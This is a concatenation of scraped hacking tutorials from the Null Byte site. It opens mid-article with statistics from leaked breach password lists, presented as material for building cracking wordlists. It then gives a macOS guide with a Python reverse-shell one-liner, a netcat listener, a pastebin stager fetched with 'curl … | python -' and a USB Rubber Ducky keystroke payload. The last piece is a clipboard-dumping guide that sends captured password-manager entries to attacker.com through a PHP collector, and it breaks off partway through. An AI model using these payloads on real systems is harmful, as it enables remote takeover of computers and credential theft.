nks230kjs82 = 152 (0.08%) trustno1 = 150 (0.08%) zxcvbnm = 138 (0.07%) N97nokiamini = 132 (0.07%) letmein = 131 (0.07%) 123456789 = 131 (0.07%) myplex = 110 (0.06%) gm718422@ = 109 (0.06%) churu123A = 107 (0.05%) abc123 = 105 (0.05%) plex123 = 95 (0.05%) any123456 = 94 (0.05%) Lwf1681688 = 92 (0.05%)Don't Miss:The Strategy You Need to Know When Cracking PasswordsIt's not unusual to see strange or bizarre passwords ranked highly in database lists. The password "nanda123" and "N97nokia," for example. These passwords were used over 350 times each. It's unclear how this happened, most likely a small group of individuals (probably hackers) created multiple accounts over a long period of time and reused the same password over and over. When generating wordlists, it's really up to the hacker to determine whether or not to include a particular password in the wordlist.Top 25 Base WordsHere's where I think Pipal really shines. It's able to omit the numbers appended to the ends of passwords and analyze the words used at the beginning of the passwords. This data is especially useful to hackers because they're then able to use the base words in conjunction with the most commonly used digits to create comprehensive wordlists. For example, take note of "welcome" ranked 24th in the below list.password = 735 (0.38%) abcdef = 699 (0.36%) plex = 546 (0.28%) qwerty = 505 (0.26%) little = 481 (0.25%) nanda = 401 (0.21%) n97nokia = 367 (0.19%) pawerjon = 275 (0.14%) letmein = 252 (0.13%) uiopy = 230 (0.12%) trustno = 200 (0.1%) abcd = 189 (0.1%) passw0rd = 186 (0.1%) monkey = 184 (0.09%) myworklist = 182 (0.09%) master = 171 (0.09%) pass = 166 (0.09%) asdf = 164 (0.08%) gondola = 164 (0.08%) dragon = 156 (0.08%) zxcvbnm = 154 (0.08%) nks230kjs = 152 (0.08%) hello = 148 (0.08%) welcome = 141 (0.07%) n97nokiamini = 133 (0.07%)If the most common single or double digits ("1" and "23") are appended to "welcome," we find that this password was used several dozen times.~/pipal$ grep -i 'welcome1' ../dumps/000webhost.com_2015_password.list welcome1 welcome1 welcome11 welcome123 welcome1 welcome123 welcome123 welcome1 welcome1 welcome123 welcome1 welcome1234 welcome123 welcome1 welcome1 welcome1This is why appending common digits to base words is more beneficial to wordlists than simply compiling a list of the top passwords. How we, as individuals, choose base words and choose digits to append is the one notable inconsistency with how people create passwords. It's better to isolate the two variables then combine the results in a new wordlist.Don't Miss:Crack Passwords with a Crunch-Based Custom WordlistExample 2: VK.com Password AnalysisVK, a social network heavily inspired by Facebook, is themost popular website in Russiaand ranked in the top 20 most popular websites in the world. The social network reportedly has over 300 million registered users.TheVK.com hackemerged in 2016, but occurred in 2012. While the passwords found in this data breach are nearly six years old, I couldn't miss the opportunity to analyze a massive dataset of over 92,470,000 passwords.~/pipal$ ruby2.7 pipal.rb --top 500 --output ../dumps/analysis/vk.com.pipal ../dumps/vk.com_2012_password.list Generating stats, hit CTRL-C to finish early and dump stats on words already processed. Please wait... Processing: 100% |oooooooooooooooooooooooooooo | ETA 00:00:00After analyzing the VK.com password list, here's what I found:Password LengthMore than 50% of all passwords are between six and eight characters long. This is consistent with data found in the 000webhost dataset and reaffirms most wordlists don't need to contain passwords over nine or ten characters long.6 = 17,665,381 (19.1%) 8 = 17,370,491 (18.78%) 7 = 12,391,947 (13.4%) 9 = 9,815,371 (10.61%) 10 = 7,686,762 (8.31%)Appended DigitsFewer passwords appeared with appended digits compared to the 000webhost data, accounting for roughly 12 percent.Single digit on end = 3,023,338 (3.27%) Two digits on end = 5,326,255 (5.76%) Three digits on end = 3,412,773 (3.69%)The most common single and double digits are again "1," "3," and "23," accounting for about 9% (12,600,000) of all passwords.1 = 5,919,242 (6.4%) 3 = 5,221,786 (5.65%) 0 = 5,079,464 (5.49%) 6 = 4,854,551 (5.25%)23 = 1,474,608 (1.59%) 11 = 1,398,248 (1.51%) 89 = 1,337,274 (1.45%) 56 = 1,266,445 (1.37%)123 = 1,135,684 (1.23%) 456 = 1,003,088 (1.08%) 789 = 638,695 (0.69%) 777 = 584,292 (0.63%)Top 25 PasswordsWe can clearly see fewer passwords appeared with appended digits compared to the 000webhost data, and more passwords containing only numbers are popular among users in this dataset.123456 = 653,959 123456789 = 383,177 qwerty = 263,565 111111 = 176,226 1234567890 = 144,494 1234567 = 131,279 12345678 = 99,885 123321 = 87,148 000000 = 85,468 123123 = 84,036 7777777 = 81,544 zxcvbnm = 79,199 666666 = 72,052 qwertyuiop = 69,178 123qwe = 62,680 555555 = 61,762 1q2w3e = 57,425 gfhjkm = 51,310 qazwsx = 50,686 1q2w3e4r = 49,676 654321 = 48,435 987654321 = 46,461 121212 = 41,896 777777 = 39,966 zxcvbn = 39,527Unfortunately, Pipal is restrained by our computer's memory (RAM) and struggled to analyze VK.com's 92,000,000 password dataset. Pipal wasn't able to determine the percentages of each password found or the top base words or passwords with special characters, but we were able to figure out the number of times each password appeared. Special thanks to@digininjafor working with me to analyze this dataset.Don't Miss:How to Find Sensitive & 'Deleted' Windows 10 Files RemotelyExample 3: ClixSense.com Password AnalysisClixSenseis a "paid-to-click" website that compensates people (microtransactions) for taking part in surveys and viewing advertisements. (It is alsobannedon Null Byte, in case you had any ideas in the forum.)TheClixSense hackeddata was posted online, in 2016, by the attackers who claimed it was a subset of a larger 6.6 million dataset. There are 2.2 million passwords in my ClixSense password list. While it's not the complete ClixSense list, it still provides an adequately large dataset belonging to a very recent hack.~/pipal$ ruby2.7 pipal.rb --top 500 --output ../dumps/analysis/clixsense.com.pipal ../dumps/clixsense.com_2016_password.list Generating stats, hit CTRL-C to finish early and dump stats on words already processed. Please wait... Processing: 100% |oooooooooooooooooooooooooooo | ETA 00:00:00After analyzing the ClixSense.com password list, here's what I found:Password LengthPasswords consisting of nine or fewer characters are (again) the most common length of password found in large leaks. This further confirms the fact that short, eight- and six-character passwords, should be used when designing wordlists for brute-force attacks.8 = 526,916 (23.72%) 6 = 407,346 (18.33%) 9 = 314,908 (14.17%) 10 = 286,220 (12.88%) 7 = 285,726 (12.86%)Appended DigitsThe one-digit, two-digit, and three-digit combinations most commonly appended to passwords are very consistent with the 000webhost.com dataset.Single digit on the end = 121,811 (5.48%) Two digits on the end = 239,247 (10.77%) Three digits on the end = 151,586 (6.82%)1 = 177,622 (7.99%) 3 = 159,989 (7.2%) 0 = 119,043 (5.36%) 2 = 118,338 (5.33%)23 = 71,414 (3.21%) 56 = 31,159 (1.4%) 12 = 30,915 (1.39%) 11 = 30,248 (1.36%)123 = 58,898 (2.65%) 456 = 25,874 (1.16%) 234 = 11,166 (0.5%) 007 = 10,573 (0.48%)Special CharactersOnce again, the "@" and "." special characters were found in over 1% of passwords. This is too small of a percent to warrant including special characters in wordlists, but again, using special characters in passwords will significantly hinder an attacker's ability to brute-force a service.@ = 31,778 (1.43%) . = 16,108 (0.73%) _ = 14,711 (0.66%) ! = 11,248 (0.51%)Top 25 PasswordsThe password "123456" once again takes the lead being used 17,879 times. And again we see a unique password, "bismillah," used over 1,000 times (see the "base words" list after this list). It's not uncommon to see cultural or religious terms in datasets where the hacked website is popular in a particular country.123456 = 17,879 (0.8%) 123456789 = 3,292 (0.15%) 12345678 = 2,093 (0.09%) password = 1,970 (0.09%) 111111 = 1,892 (0.09%) 1234567 = 1,300 (0.06%) iloveyou = 1,266 (0.06%) qwerty = 1,187 (0.05%) clixsense = 1,173 (0.05%) 000000 = 977 (0.04%) abcdefg = 972 (0.04%) 123123 = 923 (0.04%) pakistan = 803 (0.04%) 654321 = 745 (0.03%) users = 736 (0.03%) bismillah = 644 (0.03%) abc123 = 615 (0.03%) 1234567890 = 537 (0.02%) 666666 = 525 (0.02%) asdfgh = 524 (0.02%) computer = 516 (0.02%) aaaaaa = 502 (0.02%) secret = 392 (0.02%) iloveu = 391 (0.02%) krishna = 391 (0.02%)Don't Miss:Crack Passwords with a CeWL-Based Custom WordlistTop 25 Base WordsA closer look at the top 25 base words reveals some great results. With the exception of website-specific passwords ("clixsense" and "clix"), hackers would incorporate most of these words into their wordlists and experience some success with brute-force attacks.password = 3,937 (0.18%) clixsense = 2,989 (0.13%) qwerty = 2,798 (0.13%) iloveyou = 2,101 (0.09%) pakistan = 1,965 (0.09%) clix = 1,285 (0.06%) money = 1,271 (0.06%) love = 1,244 (0.06%) june = 1,208 (0.05%) abcdefg = 1,117 (0.05%) bismillah = 1,026 (0.05%) april = 1,006 (0.05%) welcome = 990 (0.04%) july = 984 (0.04%) jesus = 950 (0.04%) abcd = 936 (0.04%) master = 916 (0.04%) angel = 899 (0.04%) nokia = 896 (0.04%) computer = 882 (0.04%) krishna = 822 (0.04%) march = 810 (0.04%) august = 803 (0.04%) daniel = 777 (0.03%) secret = 766 (0.03%)Example 4: µTorrent.com Password AnalysisµTorrentis a popularpeer-to-peer file sharingclient, managed byBitTorrent.com. TheµTorrent forum hackoccurred in 2016 and consisted of almost 400,000 leaked passwords. This dataset is the smallest featured in this article, but still provides insight into how passwords are created today.Don't Miss:How to Anonymously Torrent Files with Tribler~/pipal$ ruby2.7 pipal.rb --top 500 --output ../dumps/analysis/utorrent.com.pipal ../dumps/utorrent.com_2016_password.list Generating stats, hit CTRL-C to finish early and dump stats on words already processed. Please wait... Processing: 100% |oooooooooooooooooooooooooooo | ETA 00:00:00Password LengthA jarring 88% of passwords are eight characters long. This is an increase from other datasets in this article. Still, only 3% of passwords are nine or ten characters long and well within brute-forcing range.8 = 323,102 (88.66%) 6 = 11,314 (3.1%) 9 = 8,108 (2.22%) 7 = 7,962 (2.18%) 10 = 6,058 (1.66%)Appended DigitsA single digit was most commonly appended to a password. We just learned most passwords are a total of eight characters long, so this indicates that most base words are only seven letters long and likely included a "1" or "3" at the end of the password.Single digit on the end = 45,852 (12.58%) Two digits on the end = 13,569 (3.72%) Three digits on the end = 4,923 (1.35%)1 = 10,475 (2.87%) 3 = 8,904 (2.44%) 2 = 8,123 (2.23%) 0 = 7,925 (2.17%)23 = 1,737 (0.48%) 11 = 978 (0.27%) 12 = 894 (0.25%) 00 = 837 (0.23%)123 = 1,365 (0.37%) 456 = 521 (0.14%) 234 = 307 (0.08%) 000 = 252 (0.07%)Special CharactersThe top three most popular special characters were used in just over 0.5% of all passwords. Again, too small of a percent to warrant including special characters in wordlists, but really good to use when you want to hinder an attacker's ability to brute-force a service./ = 833 (0.23%) + = 805 (0.22%) @ = 627 (0.17%)Top 25 PasswordsOnce again, we see "utorrent," a website-specific password appearing in the top four passwords.123456 = 386 (0.11%) forum123 = 152 (0.04%) password = 116 (0.03%) utorrent = 94 (0.03%) qwerty = 71 (0.02%) 12345678 = 57 (0.02%) 123456789 = 57 (0.02%) 111111 = 46 (0.01%) 123123 = 37 (0.01%) Mykey2012 = 35 (0.01%) abc123 = 30 (0.01%) 000000 = 27 (0.01%) trustno1 = 26 (0.01%) letmein = 26 (0.01%) torrent = 24 (0.01%) qazwsx = 24 (0.01%) Mykey2011 = 23 (0.01%) 1234 = 21 (0.01%) 666666 = 20 (0.01%) shadow = 19 (0.01%) 12345 = 19 (0.01%) 1234567 = 19 (0.01%) 1q2w3e4r = 19 (0.01%) dragon = 18 (0.0%) fuckyou = 18 (0.0%)Top 25 Base WordsThe website-specific "utorrent" passwords is at the top of the base words list. It's not uncommon to see people include the website name into their password. There are probably thousands of Null Byte readers using the password "nullbyte," "wonderhowto," or some variation.utorrent = 205 (0.06%) password = 166 (0.05%) forum = 164 (0.05%) qwerty = 128 (0.04%) mykey = 62 (0.02%) dragon = 49 (0.01%) torrent = 42 (0.01%) letmein = 36 (0.01%) melto = 36 (0.01%) shadow = 35 (0.01%) abcd = 35 (0.01%) qazwsx = 32 (0.01%) monkey = 31 (0.01%) trustno = 31 (0.01%) fuckyou = 29 (0.01%) superman = 28 (0.01%) pass = 28 (0.01%) alex = 28 (0.01%) love = 28 (0.01%) matrix = 27 (0.01%) killer = 27 (0.01%) master = 25 (0.01%) passw0rd = 25 (0.01%) nokia = 24 (0.01%) welcome = 24 (0.01%)Don't Miss:Crack Online Web Form Passwords with THC-Hydra & Burp SuiteLet Me Guess ... Your Password Is '123456'The most common passwords between 2012 and 2016 are "123456," "password," and "123456789" — with a few variations in how they rank on a site-to-site basis. With that data spanning six years, it's reasonable to believe these are still the most common password used today.The more interesting data was discovered within the base words and digits appended to each password. These two datasets can be combined to create a much more (statistically) effective password-guessing wordlist.Until next time, follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Don't Miss:Most Credit Card PINs Are Easy to Crack — Here's How to Strengthen YoursWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by tokyoneon/Null ByteRelatedHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Create Custom Wordlists for Password Cracking Using the MentalistHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Break into Router Gateways with PatatorHow To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)Hack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Brute-Force Nearly Any Website Login with HatchHow To:Use Wordlister to Create Custom Password Combinations for CrackingHow To:Exploit Recycled Credentials with H8mail to Break into User AccountsHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHacking macOS:How to Break into a MacBook Encrypted with FileVaultHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHow To:Brute-Force WPA/WPA2 via GPUHack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)How To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)How To:Gain Control of WordPress by Exploiting XML-RPCHow To:Crack MD5 Hashes with All of Kali Linux's Default WordlistsNews:ShouldIChangeMyPassword.comHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash Algorithm
MitM « Null Byte :: WonderHowTo
No content found.
Hacking macOS: How to Use One Python Command to Bypass Antivirus Software in 5 Seconds « Null Byte :: WonderHowTo
The misconception thatmacOSis more secure than theWindowsoperating system is far from the truth. With just one small command, a hacker can completely take over aMacBookand control it remotely.The sheer volume of Windows computers currently in operation around the world makes hacking them a lucrative venture for malware developers and bug hunters looking to cash-in on Windows 10zero-day exploits. Thus, there is a lot more news surrounding Windows 10 exploitation, even though macOS can be just as vulnerable.When it comes to Mac pwning, one-liner payloads simply create a connection to a MacBook which allows an attacker to run commands remotely. An experienced Python coder could easily compose a sophisticated script to exfiltrate sensitive data,record audio through the mic in real time,stream the desktop and spy on the target, or automatically perform avariety of post-exploitation attacks.For this new mini-series in ourHacking macOScollection, I'll feature multiple one-liner commands to hack macOS. Here's just one command capable of creating a backdoor and evading antivirus software in the process:import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);This Python command won't be flagged as malicious or suspicious by the macOS firewall (with "Block all incoming connections" enabled) or antiviruses likeAVGandAvast, because Python isn't avirus. Python is one of several technologies built-in to the macOS operating system being abused much like howPowerShell, a legitimate tool designed for Windows administrators, is abused by hackers.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking ToolsThe Python command is a bit lengthy, so I'll show how to work long commands and complex payloads into a real hack with a fictional example of how this could work in the real world.Step 1: Start the Netcat ServerSetup Netcat (nc) to listen (-l) for new incoming connections on port (-p)8080. Netcat will start listening on every available interface.nc -l -p 8080Step 2: Save the PayloadThen, save the below Python code as a file calledpayload.py. This can be done usingnanoor a preferred text editor.import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);If the command is run on a remote MacBook where avirtual private server(VPS) is in use, be sure to change the attacker's IP address (1.2.3.4) to the server IP. For local networks where the attacker's system is on the same Wi-Fi network as the MacBook, Netcat will be reachable using the attacker's local IP address (e.g., 192.168.1.18). The port number (8080) can be changed to anythingbetween 1024 and 65535.Step 3: Upload the Payload to a PastebinUpload the Python code to a Pastebin. I preferPb, a command line-based Pastebin because the domain name is very short and it features the ability to manually name the pastes. For example, if I wanted to upload a Python script, I would use the below cURL command.cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHereHere, I'm usingcatto read the Python file and directing it (|) to the cURL command which takes the data (-F c=@-) and sends it to the pb server with the URI "PasteNameHere." The Pastebin will then print data in the terminal confirming the paste was created.cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere digest: a1a045f5546347f5cbf0181328ce4d77550f6ff7 label: ~PasteNameHere long: AKGgRfVUY0f1y_AYEyjOTXdVD2_3 short: D2_3 size: 7938 status: created url: https://ptpb.pw/~PasteNameHere uuid: xxxxxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxSimply visiting the URL now from any web browser will show the Python payload. The paste name can be anything. If I wanted to create a paste using my username, I would use the below command.cat payload.py | curl -F c=@- https://ptpb.pw/~tokyoneonStep 4: Hack All the MacBooksFrom here on out, any MacBook can be hacked using the below command. It's a fairly easy command to commit to memory. The cURL command will download the paste (stager) containing the Python code and execute as a background process.curl ptpb.pw/~tokyoneon | python - &Social Engineering AttacksThe real challenge is thesocial engineeringaspect of an attack.How does a hacker trick someone into running malicious code?Well, I had some fun this weekend and composed a simple scenario in the form of a short story which may help illustrate a practical use for hacking macOS using a single command.While this story is completely fictional and hypothetical, I did test the featured attack against macOS High Sierra whereAvast(orAVG) was installed. All of the characters were named afternotorious hackers.The Hotel Manager & the Rubber DuckyA hacker wanted access to a high-end hotel database that contained private customer information. To get closer to the hotel staff and their internal networks, the hacker decided to spend an evening at the hotel under the alias "Nathalie Nahai."Nathalie entered the hotel and didn't know it yet, but the normal receptionist was out sick that particular evening. This meant the assistant manager of the building acted as the concierge for several hours. After approaching the receptionist's desk in the lobby, Nathalie saw the concierge's nametag, which read: "Manager: Christopher Hadnagy." It had the hotel logo beside it."Good evening, and welcome to Hacked Hotel! How can I help you this evening?" exclaimed Christopher with a radiant smile."Hey, Chris," said Nathalie, abbreviating his full name in an effort to create an informal tone to their conversation. "I'd like to book a room for the night."As Christopher was beginning the new customer registration process on the touchscreen point-of-sale (PoS) kiosk, Natalie saw an open MacBook on the receptionist's desk. "Oh, is that the latest MacBook model?" Natalie asked, phishing for information and inconspicuously searching through her wallet for the USB Rubber Ducky labeled "macOS." TheUSB Rubber Duckypayload was designed to create a backdoor that would give her remote access to the MacBook.Don't Miss:Null Byte's Guides on Hacking with a USB Rubber DuckyDELAY 1500 GUI SPACE DELAY 350 STRING terminal DELAY 100 ENTER DELAY 1000 STRING curl ptpb.pw/~tokyoneon | python - & ENTER GUI q"No, not quite," he said with a chuckle. "It's an older one I use for work, but I've been meaning to upgrade. He then interrupted himself with: "What kind of room will you need tonight?""Hmm, what are my options?" asked Natalie, concealing the macOS USB Rubber Ducky in the palm of her hand, hoping for an opportunity to insert it into the manager's MacBook."Well, our rooms start at $425 a night. That's one queen-sized bed, one bathroom, and includes breakfast, access to our pool ...." The manager recited the features and benefits included in the hotel's various packages and deals. To create an opportunity to insert the USB Rubber Ducky into the MacBook, Natalie asked, "Would you happen to have a brochure or pamphlet with all the options? You see, my mom's flying into town this evening, and I want to make sure we're comfortable.""Of course," Christopher replied reaching the side of the desk for a brochure. "Oh, actually, it looks like we're all out. Give me just a sec; I'll grab some more from the back office."The manager dashed out from behind the receptionist desk and entered the locked room a few feet away. Natalie reached over the desk, inserted the USB payload into the MacBook that was nearly out of arm's length. A terminal window popped open just two seconds after inserting the USB Rubby Ducky, and the light on the USB changed from red to green, indicating the keystroke injection was complete.Nathalie pulled the USB Rubby Ducky from the MacBook and tried to look casual. A few seconds later, Christopher returned from the back office with a handful of brochures."Here's one brochure for you and one for your mom," he said with a smile.Stay Tuned for More One-Liner Payloads ...This is just one fictional example of how someone could pwn a MacBook or Mac desktop computer with a simple command. There are many more instances where an attacker could gain access to a Mac to deliver a payload unsuspectingly. In upcoming articles, I'll show how to use lesser-known programs that are built into macOS to create backdoors into the MacBook.Don't Miss:How to Configure a Backdoor on Anyone's MacBookFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNegative Space/PEXELS; Screenshots by tokyoneon/Null ByteRelatedHacking macOS:How to Create an Undetectable PayloadHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHow To:The Ultimate Guide to Hacking macOSHacking macOS:How to Hack a MacBook with One Ruby CommandHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)How To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHacking macOS:How to Hack a Mac Password Without Changing ItHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Hide Payloads Inside Photo MetadataHow To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:Dump a MacOS User's Chrome Passwords with EvilOSXHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Use variables and strings when programming in Python 2How To:Identify Antivirus Software Installed on a Target's Windows 10 PCHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)How To:Hack UnrealIRCd Using Python Socket ProgrammingHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)Hacking macOS:How to Configure a Backdoor on Anyone's MacBookHacking Windows 10:How to Capture Keystrokes & Passwords RemotelyMac for Hackers:How to Install the Metasploit FrameworkCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:Bypassing School Security (White-Hat)News:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateLockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:Make a Gmail Notifier in PythonNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Shorten URLs from the Command Line with PythonHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorPygame:All You Need to Start Making Games in PythonGoodnight Byte:Hack Our IRC Bot to Issue CommandsHow To:Code Your Own Twitter Client in Python Using OAuth
Hacking macOS: How to Dump 1Password, KeePassX & LastPass Passwords in Plaintext « Null Byte :: WonderHowTo
KeePassX, 1Password, and LastPass are effective against keyloggers, phishing, anddatabase breaches, but passwords managers rely on the operating system's clipboard to securely move credentials from the password vault to the web browser. It's within these few seconds that an attacker can dump the clipboard contents and exfiltrate passwords.Two scenarios come to mind with a clipboard-dumping attack geared toward password managers, and both utilize thepbpastecommand found in all versions of macOS. Pbpaste will take any data found in the clipboard (including passwords) and write it to thestandard output. Any macOS user can try this by first copying a password to the clipboard then immediately typingpbpasteinto a terminal.It doesn't require special privileges to execute pbpaste, and the clipboard can be written to any file, as shown below. This affects KeePassX, 1Password, LastPass, and even Apple's own built-in iCloud Keychain password manager.~$ pbpaste >>/tmp/clipboard.txtOption 1: Dump the Clipboard LocallyScenario:The attacker has established apersistent backdoorand wants to gather passwords stored in KeePassX, 1Password, or LastPass over a prolonged period. MacOS has become better about protecting against keyloggers, and anyonelivestreaming the desktopcouldn't unhide or reveal credentials stored in the password managers.The attacker can dump the clipboard into a local file and occasionally check it for new passwords. An infinitewhile loopwith a five second delay should do the trick.~$ while true; do echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt && sleep 5; doneThe while loop will execute pbpaste and pause (sleep) for five seconds. The command within the loop will repeat over and over again, repeatedly dumping anything found in the clipboard. Anechohas been introduced to create a newline (\n) with every entry to prevent data from concatenating on the same line.Don't Miss:Dump Passwords Stored in Firefox BrowsersFrom an additional Netcat shell, usecatortailto view the clipboard.txt file contents.~$ tail -f /tmp/clipboard.txtTail will follow (-f) changes appended to the file and immediately print new content discovered in the clipboard.Prevent the clipboard.txt file from flooding with duplicate lines by evaluating the clipboard contents and comparing it to the last entry in the file.~$ while true; do if [[ "$(pbpaste)" != "$(tail -n1 /tmp/clipboard.txt)" ]]; then echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt; fi && sleep 5;doneOnly if the current clipboard content is not equal (!=) to the last entry (tail -n1) in clipboard.txt will pbpaste update the file.However, this solution is somewhat flawed. Theifstatement only compares the last line of the clipboard.txt file, so if there are multiple lines in the clipboard it'll fail to recognize it as a duplicate entry. But it serves its purpose for this article and most scenarios. You can spend a little time devising a robust, proper solution with this as the basic foundation.Option 2: Exfiltrate Passwords to a Remote ServerScenario:The attacker doesn't care to remotely access the MacBook. The payload is instead designed to exfiltrate the clipboard to the attacker's server at intervals.In this scenario, the attacker only cares about exfiltrating the clipboard and hasn't backdoored the MacBook. Instead, they have found a way to remotelyexecute code on the target macOS device. Setting up this attack involves a PHP server controlled by the attacker used to intercept exfiltrated data. A Debianvirtual private serveris used in my example.Step 1: Install PHPTo get started, installphpwith the followingapt-getcommand, which will work in Debian and Kali Linux.~# apt-get update && apt-get install php Ign:1 http://http.us.debian.org/debian stretch InRelease Hit:2 http://http.us.debian.org/debian stretch-updates InRelease Hit:3 http://security.debian.org/debian-security stretch/updates InRelease Hit:4 http://http.us.debian.org/debian stretch Release Reading package lists... Done Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: apache2-bin libapache2-mod-php7.0 libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap liblua5.2-0 php php-common php7.0 php7.0-cli php7.0-common php7.0-json php7.0-opcache php7.0-readline psmisc 0 upgraded, 16 newly installed, 0 to remove and 0 not upgraded. Need to get 5,209 kB of archives. After this operation, 19.9 MB of additional disk space will be used. Do you want to continue? [Y/n]Make a directory called "phpServer/" using the belowmkdircommand.~# mkdir phpServer/Change into the phpServer/ directory using thecdcommand.~# cd phpServer/Create a file called "index.php" withnano.~/phpServer# nano index.phpPaste the below PHP code into the nano terminal. Once that's done, to save and exit the nano terminal, pressCtrl+x, theny, thenEnter.<?php $input = file_get_contents("php://input"); $log = file_put_contents('clipboard.txt', $input.PHP_EOL , FILE_APPEND | LOCK_EX); ?>This simple PHP server is capable of intercepting data and doesn't need to be modified in any way to function. When the MacBook sends the clipboard contents, the server will capture and append the data to a file called "clipboard.txt."Finally, start the PHP server with thephp -S 0.0.0.0:80command.~/phpServer# php -S 0.0.0.0:80 PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun 9 08:38:55 2019 Listening on http://0.0.0.0:80 Document root is /root/phpServer Press Ctrl-C to quit.Step 2: Create the PayloadThe below script will compare the current clipboard contents to the most recent sent to the attacker's server. For clarity, it's in standard shell script format to allow space for comments.# While loop to dump the clipboard over and over again, infinitely. while true; do # An `if` statement, compares the current clipboard # content to the content found in the last loop. if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then # A `p` to store the encoded clipboard contents. The # contents must be encoded before sending to the # attacker's server to prevent it from breaking the # proceeding curl command. p="$(echo $(pbpaste) | base64)" # Curl takes the encoded string and delivers it to # the attacker's server via POST request. curl --data "$p" -X POST 'http://attacker.com/' # The `pbpaste_last` variable is updated. This variable # is evaluated in the following loop. pbpaste_last="$(pbpaste)" # Delay for 5 seconds before checking the clipboard # for new contents. Decreasing this value will cause # the script to evaluate the clipboard more frequently, # but will have a negative impact on the MacBook's # CPU. Increasing the value may cause the script to # miss a valuable password. Adjust as needed. sleep 5 fi doneCompress the script into one line to have it fit conveniently intovarious types of stagers.Don't Miss:Getting Started with Hacking macOS Computerswhile true; do if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then p="$(echo $(pbpaste) | base64)"; curl --data "$p" -X POST 'http://attacker.com/' && pbpaste_last="$(pbpaste)"; sleep 5; fi; doneStep 3: Examine the Exfiltrated DataAs the PHP server receives clipboard data, it will indicate the origin of the data (IP address) as well as the date and time. PressCtrl+cto stop the PHP server.PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun 9 08:38:55 2019 Listening on http://0.0.0.0:80 Document root is /root/phpServer Press Ctrl-C to quit. [Sun Jun 9 09:03:23 2019] 23.129.64.153:63761 [200]: / [Sun Jun 9 09:03:33 2019] 23.129.64.153:46089 [200]: / [Sun Jun 9 09:03:50 2019] 23.129.64.184:13728 [200]: 